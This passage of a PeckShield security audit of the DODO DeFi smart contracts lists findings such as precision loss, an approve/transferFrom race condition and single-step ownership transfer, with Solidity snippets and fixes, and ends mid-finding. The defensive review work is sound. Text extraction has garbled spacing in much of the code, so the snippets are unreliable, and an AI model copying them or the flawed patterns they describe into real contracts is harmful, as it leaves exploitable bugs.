37 5.3.4 Adhere To Function Declaration Strictly . . . . . . . . . . . . . . . . . . . . 37 References 38 4/40 PeckShield Audit Report #: 2020-16Public 1 | Introduction Giventheopportunitytoreviewthe DODOdesigndocumentandrelatedsmartcontractsourcecode, we in the report outline our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About DODO DODO is an innovative, next-generation on-chain liquidity provision solution. It is purely driven by a so-called Proactive Market Market or PMM algorithm that outperforms current popular Automatic Market Maker of AMM algorithms. In particular, it recognizes main drawbacks of current AMM algorithms (especially in provisioning unstable portfolios and having relatively low funding utilization rates), and accordingly proposes an algorithm that imitates human market makers to bring sufficient on-chain liquidity. Assuming a timely market price feed, the algorithm proactively adjusts trading prices around the feed, hence better providing on-chain liquidity and protecting liquidity providers’ portfolios (by avoiding unnecessary loss to arbitrageurs). DODO advances the current DEX frontline and is considered an indeed innovation in the rapidly-evolving DeFi ecosystem. The basic information of DODO is as follows: Table 1.1: Basic Information of DODO ItemDescription IssuerDODO Website https://github.com/radar-bear/dodo-smart-contract TypeEthereum Smart Contract Platform Solidity Audit Method Whitebox Latest Audit Report July 10, 2020 5/40 PeckShield Audit Report #: 2020-16Public In the following, we show the Git repository of reviewed files and the commit hash value used in this audit. As mentioned earlier, DODO assumes a trusted oracle with timely market price feeds and the oracle itself is not part of this audit. •https://github.com/radar-bear/dodo-smart-contract (d749640) 1.2 About PeckShield PeckShield Inc. [21] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [16]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., Critical,High,Medium,Lowshown in Table 1.2. 6/40 PeckShield Audit Report #: 2020-16Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 7/40 PeckShield Audit Report #: 2020-16Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [15], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. 1.4 Disclaimer Note that this audit does not give any warranties on finding all possible security issues of the given smart contract(s), i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as an investment advice. 8/40 PeckShield Audit Report #: 2020-16Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 9/40 PeckShield Audit Report #: 2020-16Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the DODO implementation. During the first phase of our audit, we studied the smart contract source code and ran our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 2 Low 6 Informational 5 Total 13 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 10/40 PeckShield Audit Report #: 2020-16Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 2medium-severity vulnerability, 6low-severity vulnerabilities, and 5informational recommendations. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Non-ERC20-Compliant DODOLpTokens Coding Practices Fixed PVE-002 Low Improved Precision Calculation inDODOMath Numeric Errors Fixed PVE-003 Low Improved Precision Calculation #2inDODOMath Numeric Errors Fixed PVE-004 Low approve()/transferFrom() RaceCondition Time and State Confirmed PVE-005 Info. BetterHandling ofOwnership Transfer Security Features Fixed PVE-006 Info. Centralized Governance Security Features Confirmed PVE-007 Low PossibleIntegerOverflow insqrt() Numeric Errors Fixed PVE-008 Info. Redundant StateChecks Security Features Confirmed PVE-009 Info. Contract Verification inbreedDODO() Security Features Confirmed PVE-010 Medium BalanceInconsistency WithDeflationary Tokens Time and State Fixed PVE-011 Low Aggregated TransferofMaintainer Fees Time and State Confirmed PVE-012 Info. Misleading Embedded CodeComments Coding Practices Fixed PVE-013 Medium MissingDODOValidation inDODOEthProxy Coding Practices Fixed Please refer to Section 3 for details. 11/40 PeckShield Audit Report #: 2020-16Public 3 | Detailed Results 3.1 Non-ERC20-Compliant DODOLpTokens •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: DODOLpToken •Category: Coding Practices [13] •CWE subcategory: CWE-1099 [3] Description To tokenize the assets in a liquidity pool and reflect a liquidity provider’s share in the pool, DODO provides DODOLpToken , an ERC20-based contract with additional functionalities for managed mintand burn. Specifically, the DODOLpToken tokens will be accordingly issued to (or burned from) a liquidity provider upon each deposit (or withdrawal). 20 contract DODOLpToken i sOwnable { 21 using SafeMath for uint256 ; 22 23 uint256 public t o t a l S u p p l y ; 24 mapping (address = >uint256 )i n t e r n a l b a l a n c e s ; 25 mapping (address = >mapping (address = >uint256 ) )i n t e r n a l a l l o w e d ; 26 27 . . . 28 } Listing 3.1: contracts/impl/DODOLpToken.sol We notice that current implementation of DODOLpToken lacks a few standard fields, i.e., name, symboland decimals. The lack of these standard fields leads to non-compliance of ERC20 and may cause unnecessary confusions in naming, inspecting, and transferring these tokenized share. An improvement is possible by either initializing these fields as hard-coded constants in the DODOLpToken contract or directly associated with the respective baseToken/quoteToken . Note all token-pairs or exchanges in DODO might share the same name and symbol – a similar approach has been taken 12/40 PeckShield Audit Report #: 2020-16Public byUniswapand no major issues have been observed in the wild. However, it is better to have unique nameorsymbolthat can be associated with the pairing baseToken and quoteToken . In addition, for the burn()routine, there is a burn event to indicate the reduction of totalSupply . It is also meaningful to generate a second event that indicates a transfer to0address. 113 function burn ( address user , uint256 value )external onlyOwner { 114 b a l a n c e s [ u s e r ] = b a l a n c e s [ u s e r ] . sub ( value ) ; 115 t o t a l S u p p l y = t o t a l S u p p l y . sub ( value ) ; 116 emit Burn ( user , value ) ; 117 emit Transfer ( user , address (0) , value ) ;// <-- Currently missing 118 } Listing 3.2: contracts/impl/DODOLpToken.sol Recommendation It is strongly suggested to follow the standard ERC20 convention and define missing fields, including name,symboland decimals. 3.2 Improved Precision Calculation in DODOMath •ID: PVE-002 •Severity: Low •Likelihood: Medium •Impact: Low•Target: DODOMath •Category: Numeric Errors [14] •CWE subcategory: CWE-190 [5] Description According to the DODO’s PMM algorithm, its unique price curve is continuous but with two distinct segments and three different operating states: ROne,RAbove, and RBelow. The first state ROnereflects the expected state of being balanced between baseToken and quoteToken assets and its trading price is well aligned with current market price; The second state RAbovereflects the state of having more balance of quoteToken than expected and there is a need to attempt to sell more quoteToken to bring the state back to ROne; The third state RBelowon the contrary reflects the state of having more balance of baseToken than expected and there is a need to attempt to sell more baseToken to bring the state back to ROne. The transition among these three states is triggered by users’ trading behavior (especially the trading amount) and also affected by real-time market price feed. Naturally, the transition re- quires complex computation (implemented in DODOMatch ). In particular, DODOMatch has three opera- tions: one specific integration and two other quadratic solutions. The integration computation, i.e., _GeneralIntegrate() , is used in ROneand RAboveto calculate the expected exchange of quoteToken for the trading baseToken amount. The quadratic solution _SolveQuadraticFunctionForTrade() is used in 13/40 PeckShield Audit Report #: 2020-16Public ROneand RBelowfortheverysamepurpose. Anotherquadraticsolution _SolveQuadraticFunctionForTarget ()is instead used in RAboveand RBelowto calculate required token-pair amounts if we want to bring the state back to ROne. Note that the lack of floatsupport in Solidity makes the above calculations unusually compli- cated. And _GeneralIntegrate() can be further improved as current calculation may lead to possible precision loss. Specifically, as shown in lines 38*39(see the code snippet below), V0V1 = DecimalMath .divCeil(V0, V1) ; and V0V2 = DecimalMath.divCeil(V0, V2) . 30 f u n c t i o n _ G e n e r a l I n t e g r a t e ( 31 u i nt 2 5 6 V0 , 32 u i nt 2 5 6 V1 , 33 u i nt 2 5 6 V2 , 34 u i nt 2 5 6 i , 35 u i nt 2 5 6 k 36 ) i n t e r n a l pure r e t u r n s ( u i nt 2 5 6 ) { 37 u i nt 2 5 6 fairAmount = DecimalMath . mul ( i , V1 . sub (V2) ) ; // i* delta 38 u i nt 2 5 6 V0V1 = DecimalMath . d i v C e i l (V0 , V1) ; // V0/V1 39 u i nt 2 5 6 V0V2 = DecimalMath . d i v C e i l (V0 , V2) ; // V0/V2 40 u i nt 2 5 6 p e n a l t y = DecimalMath . mul ( DecimalMath . mul ( k , V0V1) , V0V2) ; // k(V0 ^2/ V1/ V2) 41 return DecimalMath . mul ( fairAmount , DecimalMath .ONE. sub ( k ) . add ( p e n a l t y ) ) ; 42 } Listing 3.3: contracts/impl/DODOMath.sol For improved precision, it is better to calculate the multiplication before the division, i.e., V0V0V1V2 = DecimalMath.divCeil(DecimalMath.divCeil(DecimalMath.mul(V0, V0), V1), V2); . There is another similar issue in the calculation of _SolveQuadraticFunctionForTarget() (line111) thatcanalsobenefitfromtheabovecalculationwithimprovedprecision: uint256 sqrt = DecimalMath. divCeil(DecimalMath.mul(k, fairAmount).mul(4), V1) . Noteifthereisaroundingissue, itispreferable to allow the calculation lean towards the liquidity pool to ensure DODO is balanced. Therefore, our calculation also replaces divFloor with divCeilfor the very same reason. 105 f u n c t i o n _SolveQuadraticFunctionForTarget ( 106 u i nt 2 5 6 V1 , 107 u i nt 2 5 6 k , 108 u i nt 2 5 6 fairAmount 109 ) i n t e r n a l pure r e t u r n s ( u i nt 2 5 6 V0) { 110 // V0 = V1+V1 *( sqrt -1) /2k 111 u i nt 2 5 6 s q r t = DecimalMath . d i v F l o o r ( DecimalMath . mul ( k , fairAmount ) , V1) . mul (4) ; 112 s q r t = s q r t . add ( DecimalMath .ONE) . mul ( DecimalMath .ONE) . s q r t ( ) ; 113 u i nt 2 5 6 premium = DecimalMath . d i v F l o o r ( s q r t . sub ( DecimalMath .ONE) , k . mul (2) ) ; 114 // V0 is greater than or equal to V1 according to the solution 115 return DecimalMath . mul (V1 , DecimalMath .ONE. add ( premium ) ) ; 116 } Listing 3.4: contracts/impl/DODOMath.sol Recommendation Revise the above calculations to better mitigate possible precision loss. 14/40 PeckShield Audit Report #: 2020-16Public 3.3 Improved Precision Calculation #2 in DODOMath •ID: PVE-003 •Severity: Low •Likelihood: Medium •Impact: Low•Target: DODOMath •Category: Numeric Errors [14] •CWE subcategory: CWE-190 [5] Description In previous Section 3.2, we examine a particular precision issue. In this section, we examine another related precision issue. As mentioned earlier, the DODO’s PMM algorithm operates in its continu- ous price curve with two distinct segments and three different states (aka scenarios): ROne,RAbove, and RBelow. Accordingly, the DODOMatch contract implements three operations: one specific integra- tion( _GeneralIntegrate() )andtwootherquadraticsolutions( _SolveQuadraticFunctionForTrade() and _SolveQuadraticFunctionForTrade() ). 58 f u n c t i o n _SolveQuadraticFunctionForTrade ( 59 u i nt 2 5 6 Q0 , 60 u i nt 2 5 6 Q1 , 61 u i nt 2 5 6 i d e l t a B , 62 bool deltaBSig , 63 u i nt 2 5 6 k 64 ) i n t e r n a l pure r e t u r n s ( u i nt 2 5 6 ) { 65 // calculate -b value and sig 66 // -b = (1-k)Q1 - kQ0 ^2/ Q1+i* deltaB 67 u i nt 2 5 6 kQ02Q1 = DecimalMath . mul ( k , Q0) . mul (Q0) . d i v (Q1) ; // kQ0 ^2/ Q1 68 u i nt 2 5 6 b = DecimalMath . mul ( DecimalMath .ONE. sub ( k ) , Q1) ; // (1-k)Q1 69 bool minusbSig = true ; 70 i f( d e l t a B S i g ) { 71 b = b . add ( i d e l t a B ) ; // (1-k)Q1+i* deltaB 72 }e l s e { 73 kQ02Q1 = kQ02Q1 . add ( i d e l t a B ) ; // -i*(- deltaB )-kQ0 ^2/ Q1 74 } 75 i f( b >= kQ02Q1) { 76 b = b . sub (kQ02Q1) ; 77 minusbSig = true ; 78 }e l s e { 79 b = kQ02Q1 . sub ( b ) ; 80 minusbSig = f a l s e ; 81 } 83 // calculate sqrt 84 u i nt 2 5 6 squareRoot = DecimalMath . mul ( 85 DecimalMath .ONE. sub ( k ) . mul (4) , 86 DecimalMath . mul ( k , Q0) . mul (Q0) 87 ) ;// 4(1 -k) kQ0 ^2 88 squareRoot = b . mul ( b ) . add ( squareRoot ) . s q r t ( ) ; // sqrt (b*b -4(1 -k)kQ0 *Q0) 15/40 PeckShield Audit Report #: 2020-16Public 90 // final res 91 u i nt 2 5 6 denominator = DecimalMath .ONE. sub ( k ) . mul (2) ; // 2(1 -k) 92 i f( minusbSig ) { 93 return DecimalMath . d i v F l o o r ( b . add ( squareRoot ) , denominator ) ; 94 }e l s e { 95 return DecimalMath . d i v F l o o r ( squareRoot . sub ( b ) , denominator ) ; 96 } Listing 3.5: contracts/impl/DODOMath.sol In this section, we examine the last quadratic solution. Specifically, this quadratic solution _SolveQuadraticFunctionForTarget() is used in ROneand RBelowto calculate the expected exchange ofquoteToken for the trading baseToken amount. The function has several arguments (lines 59 * 63) where the fourth one, i.e., deltaBSig , is used to indicate whether this particular trade will lead to increased or decreased balance of quoteToken . IfdeltaBSi=true , then the trading amount is calculated byQ2.sub(quoteBalance) ; IfdeltaBSi=false , then the trading amount is calculated by quoteBalance. sub(Q2). Note that Q2is the calculated result from the quadratic solution while quoteBalance is current quoteToken balance. Following the same principle as mentioned in Section 3.2, for precision-related calculations, it is preferable to lean the calculation towards the liquidity pool to ensure that DODO is always balanced. Therefore, our calculation here needs to replace the final divFloor with divCeil on the condition of deltaBSig=true . Recommendation Revise the above calculation to better mitigate possible precision loss. 58 f u n c t i o n _SolveQuadraticFunctionForTrade ( 59 u i nt 2 5 6 Q0 , 60 u i nt 2 5 6 Q1 , 61 u i nt 2 5 6 i d e l t a B , 62 bool deltaBSig , 63 u i nt 2 5 6 k 64 ) i n t e r n a l pure r e t u r n s ( u i nt 2 5 6 ) { 65 // calculate -b value and sig 66 // -b = (1-k)Q1 - kQ0 ^2/ Q1+i* deltaB 67 u i nt 2 5 6 kQ02Q1 = DecimalMath . mul ( k , Q0) . mul (Q0) . d i v (Q1) ; // kQ0 ^2/ Q1 68 u i nt 2 5 6 b = DecimalMath . mul ( DecimalMath .ONE. sub ( k ) , Q1) ; // (1-k)Q1 69 bool minusbSig = true ; 70 i f( d e l t a B S i g ) { 71 b = b . add ( i d e l t a B ) ; // (1-k)Q1+i* deltaB 72 }e l s e { 73 kQ02Q1 = kQ02Q1 . add ( i d e l t a B ) ; // -i*(- deltaB )-kQ0 ^2/ Q1 74 } 75 i f( b >= kQ02Q1) { 76 b = b . sub (kQ02Q1) ; 77 minusbSig = true ; 78 }e l s e { 79 b = kQ02Q1 . sub ( b ) ; 80 minusbSig = f a l s e ; 81 } 16/40 PeckShield Audit Report #: 2020-16Public 83 // calculate sqrt 84 u i nt 2 5 6 squareRoot = DecimalMath . mul ( 85 DecimalMath .ONE. sub ( k ) . mul (4) , 86 DecimalMath . mul ( k , Q0) . mul (Q0) 87 ) ;// 4(1 -k) kQ0 ^2 88 squareRoot = b . mul ( b ) . add ( squareRoot ) . s q r t ( ) ; // sqrt (b*b -4(1 -k)kQ0 *Q0) 90 // final res 91 u i nt 2 5 6 denominator = DecimalMath .ONE. sub ( k ) . mul (2) ; // 2(1 -k) 92 i f( minusbSig ) { 93 numerator = b . add ( squareRoot ) ; 94 }e l s e { 95 numerator = squareRoot . sub ( b ) ; 96 } 98 i f( d e l t a B S i g ) { 99 return DecimalMath . d i v F l o o r ( numerator , denominator ) ; 100 }e l s e { 101 return DecimalMath . d i v C e i l ( numerator , denominator ) ; 102 } Listing 3.6: contracts/impl/DODOMath.sol (revised) 3.4 approve()/transferFrom() Race Condition •ID: PVE-004 •Severity: Low •Likelihood: Low •Impact: Medium•Target: DODOLpToken •Category: Time and State [12] •CWE subcategory: CWE-362 [8] Description DODOLpToken is an ERC20 token that represents the liquidity providers’ shares on the tokenized pools. In current implementation, there is a known race condition issue regarding approve() /transferFrom ()[2]. Specifically, when a user intends to reduce the allowed spending amount previously approved from, say, 10 DODOto 1 DODO. The previously approved spender might race to transfer the amount you initially approved (the 10 DODO) and then additionally spend the new amount you just approved (1DODO). This breaks the user’s intention of restricting the spender to the new amount, notthe sum of old amount and new amount. In order to properly approvetokens, there also exists a known workaround: users can utilize the increaseApproval and decreaseApproval non-ERC20 functions on the token versus the traditional approvefunction. 17/40 PeckShield Audit Report #: 2020-16Public 85 /** 86 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 87 * @param spender The address which will spend the funds . 88 * @param amount The amount of tokens to be spent . 89 */ 90 function approve ( address spender , uint256 amount ) public returns (bool ) { 91 a l l o w e d [ msg.sender ] [ spender ] = amount ; 92 emit Approval ( msg.sender , spender , amount ) ; 93 return true ; 94 } Listing 3.7: contracts/impl/DODOLpToken.sol Recommendation Addthesuggestedworkaroundfunctions increaseApproval() /decreaseApproval (). However, considering the difficulty and possible lean gains in exploiting the race condition, we also think it is reasonable to leave it as is. 3.5 Better Handling of Privilege Transfers •ID: PVE-005 •Severity: Informational •Likelihood: Low •Impact: N/A•Targets: Ownable, Admin •Category: Security Features [11] •CWE subcategory: CWE-282 [7] Description DODO implements a rather basic access control mechanism that allows a privileged account, i.e., _OWNER_or_SUPERVISOR_ , to be granted exclusive access to typically sensitive functions (e.g., the setting of _ORACLE_ and _MAINTAINER_ ). Because of the privileged access and the implications of these sensitive functions, the _OWNER_and _SUPERVISOR_ accounts are essential for the protocol-level safety and operation. In the following, we elaborate with the _OWNER_account. Withinthegoverningcontract Ownable,aspecificfunction,i.e., transferOwnership(address newOwner ), is provided to allow for possible _OWNER_updates. However, current implementation achieves its goal within a single transaction. This is reasonable under the assumption that the newOwner param- eter is always correctly provided. However, in the unlikely situation, when an incorrect newOwner is provided, the contract owner may be forever lost, which might be devastating for DODO operation and maintenance. As a common best practice, instead of achieving the owner update within a single transaction, it is suggested to split the operation into two steps. The first step initiates the owner update intent and the second step accepts and materializes the update. Both steps should be executed in two 18/40 PeckShield Audit Report #: 2020-16Public separate transactions. By doing so, it can greatly alleviate the concern of accidentally transferring the contract ownership to an uncontrolled address. In other words, this two-step procedure ensures that an owner public key cannot be nominated unless there is an entity that has the corresponding private key. This is explicitly designed to prevent unintentional errors in the owner transfer process. 38 function t r a n s f e r O w n e r s h i p ( address newOwner ) external onlyOwner { 39 require ( newOwner != address (0) , " INVALID_OWNER " ) ; 40 emit O w n e r s h i p T r a n s f e r r e d (_OWNER_, newOwner ) ; 41 _OWNER_ = newOwner ; 42 } Listing 3.8: lib /Ownabe.sol Recommendation Implement a two-step approach for owner update (or transfer): setOwner() and acceptOwner() . The same is also applicable for other privileged accounts , i.e., _SUPERVISOR_ . In addition, generate meaningful events (currently missing) whenever there is a privileged account transfer. 38 address public _newOwner ; 40 /* 41 * Set new manager address . 42 */ 43 function setOwner ( 44 address newOwner 45 ) 46 external 47 onlyOwner 48 { 49 require ( newOwner != address (0) , " setOwner : new owner is the zero address " ) ; 50 require ( newOwner != _newOwner , " setOwner : new owner is the same as previous owner " ) ; 52 _newOwner = newOwner ; 53 } 55 function acceptOwner ( ) public { 56 require (msg.sender == _newOwner) ; 58 emit O w n e r s h i p T r a n s f e r r e d (_OWNER_, _newOwner) ; 60 _OWNER_ = _newOwner ; 61 _newOwner = 0x0 ; 63 } Listing 3.9: lib /Ownabe.sol (revised) 19/40 PeckShield Audit Report #: 2020-16Public 3.6 Centralized Governance •ID: PVE-006 •Severity: Informational •Likelihood: N/A •Impact: N/A•Targets: DODOZoo, DODO, Settlement •Category: Security Features [11] •CWE subcategory: CWE-654 [10] Description Throughout the whole DODO system, the _OWNER_is the account who can access or execute all the privileged functions (via the onlyOwner modifier). However, some privileged functions are not necessary to be controlled by the _OWNER_account. For example, the access to certain functions (e.g. setLiquidityProviderFeeRate/setMaintainerFeeRate ) could be assigned to an operator/manager account or controlled by a multisig account. The current centralized implementation makes this system not compatible to the usual setup towards community-oriented governance for shared responsibilities or reduced risks. It is understand- able that the system intends to begin with a centralized governance in the early, formative days and then gradually shift over time to a community-oriented governance system. It will be greatly helpful to think ahead and materialize necessary plan to have a community-oriented governance, which could move the system one step further toward ultimate decentralization. Moreover, such governance mechanism might be naturally associated with a governance token whose distribution (or other incentive approaches) can be designed to engage the community by linking it together with the business logic in DODO. The same concern is also applicable when a token pair needs to be settled. As shown in the below code snippet, the current finalSettlement() can be initiated only by current owner. 82 // last step to shut down dodo 83 function f i n a l S e t t l e m e n t ( ) external onlyOwner notClosed { 84 _CLOSED_ = true ; 85 _DEPOSIT_QUOTE_ALLOWED_ = f a l s e ; 86 _DEPOSIT_BASE_ALLOWED_ = f a l s e ; 87 _TRADE_ALLOWED_ = f a l s e ; 88 uint256 t o t a l B a s e C a p i t a l = g e t T o t a l B a s e C a p i t a l ( ) ; 89 uint256 t o t a l Q u o t e C a p i t a l = g e t T o t a l Q u o t e C a p i t a l ( ) ; 91 i f(_QUOTE_BALANCE_ > _TARGET_QUOTE_TOKEN_AMOUNT_) { 92 uint256 spareQuote = _QUOTE_BALANCE_. sub (_TARGET_QUOTE_TOKEN_AMOUNT_) ; 93 _BASE_CAPITAL_RECEIVE_QUOTE_ = DecimalMath . d i v F l o o r ( spareQuote , t o t a l B a s e C a p i t a l ) ; 94 }e l s e { 95 _TARGET_QUOTE_TOKEN_AMOUNT_ = _QUOTE_BALANCE_; 96 } 20/40 PeckShield Audit Report #: 2020-16Public 98 i f(_BASE_BALANCE_ > _TARGET_BASE_TOKEN_AMOUNT_) { 99 uint256 spareBase = _BASE_BALANCE_. sub (_TARGET_BASE_TOKEN_AMOUNT_) ; 100 _QUOTE_CAPITAL_RECEIVE_BASE_ = DecimalMath . d i v F l o o r ( spareBase , t o t a l Q u o t e C a p i t a l ) ; 101 }e l s e { 102 _TARGET_BASE_TOKEN_AMOUNT_ = _BASE_BALANCE_; 103 } 105 _R_STATUS_ = Types . RStatus .ONE; 106 } Listing 3.10: contracts/impl/Settlement. sol Recommendation Add necessary decentralized mechanisms to reduce or separate overly cen- tralizedprivilegesaround _OWNER_. Inthemeantime, developalong-timeplanforeventualcommunity- based governance. 3.7 Possible Integer Overflow in sqrt() •ID: PVE-007 •Severity: Low •Likelihood: Medium •Impact: Low•Target: DODOMath •Category: Numeric Errors [14] •CWE subcategory: CWE-190 [5] Description In previous sections, we have discussed two quadratic solutions, i.e., _SolveQuadraticFunctionForTrade ()and _SolveQuadraticFunctionForTrade() , behind the PMM algorithm. Note each of these two quadratic solutions requires the capability to calculate the integer square root of a given number, i.e., the familiar sqrt()function. The sqrt()function, implemented in SafeMath, follows the Babylonian method for calculating the integer square root. Specifically, for a given x, we need to find out the largest integer z such that z2<=x. 55 f u n c t i o n s q r t ( u in t 2 56 x ) i n t e r n a l pure r e t u r n s ( ui n t 2 56 y ) { 56 u i nt 2 5 6 z = ( x + 1) / 2 ; 57 y = x ; 58 w h i l e ( z < y ) { 59 y = z ; 60 z = ( x / z + z ) / 2 ; 61 } 62 } Listing 3.11: contracts/lib/SafeMath.sol 21/40 PeckShield Audit Report #: 2020-16Public We show above current sqrt()implementation. The initial value of zto the iteration was given asz= .x+ 1/_2, which results in an integer overflow when x=uint256.*1/. In other words, the overflow essentially sets zto zero, leading to a division by zero in the calculation of z= .x_z+z/_2 (line60). Notethatthisdoesnotresultinanincorrectreturnvaluefrom sqrt(), butdoescausethefunction to revert unnecessarily when the above corner case occurs. Meanwhile, it is worth mentioning that if there is a divide by zero , the execution or the contract call will be thrown by executing the INVALID opcode, which by design consumes all of the gas in the initiating call. This is different from REVERT and has the undesirable result in causing unnecessary monetary loss. To address this particular corner case, We suggest to change the initial value to z=x_2 + 1, making sqrt()well defined over its all possible inputs. Recommendation Revise the above calculation to avoid the unnecessary integer overflow. 3.8 Redundant State Checks •ID: PVE-008 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: Pricing •Category: Security Features [11] •CWE subcategory: CWE-269 [6] Description The PMM algorithm has its continuous price curve with three different operating states: ROne,RAbove, and RBelow. For each state, DODO specifies two trading functions to accommodate users’ requests, i.e., BuyBaseToken and SellBaseToken . In total, there are six trading functions: _ROneBuyBaseToken() ,_ROneSellBaseToken() ,_RAboveBuyBaseToken() ,_RAboveSellBaseToken() ,_RBelowBuyBaseToken() , and _RBelowSellBaseToken() . In_ROneBuyBaseToken() , we notice that the requirecheck on amount < targetBaseT okenAmount (line 51) is redundant. The reason is that the subsequent suboperation (line 52) applies the same validity check (in SafeMath.sol , line 45). Similarly, the requirecheck (line 118) on amount < baseBalance is also redundant since the subsequent suboperation (line 119) applies the very same validity check. 46 function _ROneBuyBaseToken ( uint256 amount , uint256 targetBaseTokenAmount ) 47 i n t e r n a l 48 view 49 returns (uint256 payQuoteToken ) 50 { 51 require ( amount < targetBaseTokenAmount , " DODO_BASE_TOKEN_BALANCE_NOT_ENOUGH " ) ; 22/40 PeckShield Audit Report #: 2020-16Public 52 uint256 B2 = targetBaseTokenAmount . sub ( amount ) ; 53 payQuoteToken = _RAboveIntegrate ( targetBaseTokenAmount , targetBaseTokenAmount , B2) ; 54 return payQuoteToken ; 55 } Listing 3.12: contracts/impl/Pricing . sol 111 // ============ R > 1 cases ============ 112 113 function _RAboveBuyBaseToken ( 114 uint256 amount , 115 uint256 baseBalance , 116 uint256 targetBaseAmount 117 )i n t e r n a l view returns (uint256 payQuoteToken ) { 118 require ( amount < baseBalance , " DODO_BASE_TOKEN_BALANCE_NOT_ENOUGH " ) ; 119 uint256 B2 = baseBalance . sub ( amount ) ; 120 return _RAboveIntegrate ( targetBaseAmount , baseBalance , B2) ; 121 } Listing 3.13: contracts/impl/Pricing . sol Recommendation Optionally remove these redundant checks. Note that this is optional as the error message conveys additional semantic information when the intended revertoccurs. 3.9 Contract Verification in breedDODO() •ID: PVE-009 •Severity: Informational •Likelihood: N/A •Impact: N/A•Target: DODOZoo •Category: Security Features [11] •CWE subcategory: CWE-269 [6] Description The smart contract DODOZoois in charge of registering all token pairs available for trading in DODO. Note that adding a new 